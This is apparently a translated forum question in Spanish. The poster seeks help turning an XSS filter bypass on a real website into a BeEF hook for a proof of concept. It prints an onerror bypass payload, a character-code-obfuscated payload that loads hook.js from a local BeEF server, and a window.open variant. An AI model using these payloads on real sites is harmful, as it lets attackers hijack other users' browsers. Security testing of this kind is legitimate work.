Encontré una vulnerabilidad en un sitio web que me permite activar XSS. Es una vulnerabilidad muy específica, causada por un defecto de diseño. Quiero escribir un PoC para ellos, pero estoy atascado en este paso.
La carga útil XSS no se entrega a través de una URL, y no se almacena en una base de datos. Por lo tanto, no es ni XSS persistente ni XSS reflexivo. El atacante debe ingresar la carga útil en un cuadro y enviarlo a otro usuario de ese sitio web mediante la modificación de una ID específica.
De todos modos, mi pregunta. Filtran XSS pero no son lo suficientemente buenos, ya que este bypass puede omitir su filtro:
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
El problema es, ¿cómo uso este filtro específico para enganchar a BeEF? Lo intenté:
<IMG SRC=/ onerror="document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 34, 49, 50, 55, 46, 48, 46, 48, 46, 49, 58, 51, 48, 48, 48, 47, 104, 111, 111, 107, 46, 106, 115, 34, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62))"></img>
Pero esa carga útil no se entrega limpia, como resultado obtengo muchos otros HTML mezclados. También busqué si ya hay artículos que explican cómo omitir los filtros XSS para enganchar a BeEF, pero no encontré ninguno.
Entonces, mi pregunta, ¿hay una manera de evitar los filtros XSS, para poder enganchar a BeEF? No le pregunto a cómo omitir XSS en general, lo pregunto en una situación en la que desea incluye el archivo de BeEF hook.js.
Edición 1: un problema adicional, solo tengo 116 caracteres exactos para ingresar en el cuadro. ¿No creo que haya un problema para acortar JavaScript tanto? Además, lo que quise decir con "obtuve una mezcla con mucho HTML", fue que cuando ingresé esa otra cadena larga, la caja "absorbió" una parte del código HTML. Lo que también satisfaría es utilizar la función window.open (), para abrir un sitio web que contenga el gancho en una nueva ventana o pestaña o lo que sea.
Edición 2: encontré una forma de abrir una nueva URL en una nueva pestaña usando este código: <img src="/" onerror="window.open('http://127.0.0.1:3000/hook.js', '_blank')">
Sin embargo, el usuario recibe una advertencia de que se bloqueó una ventana emergente, y cuando lo permite, se enfoca en esa pestaña inmediatamente. ¿Esto satisface a un PoC? ¿O alguien tiene mejores soluciones?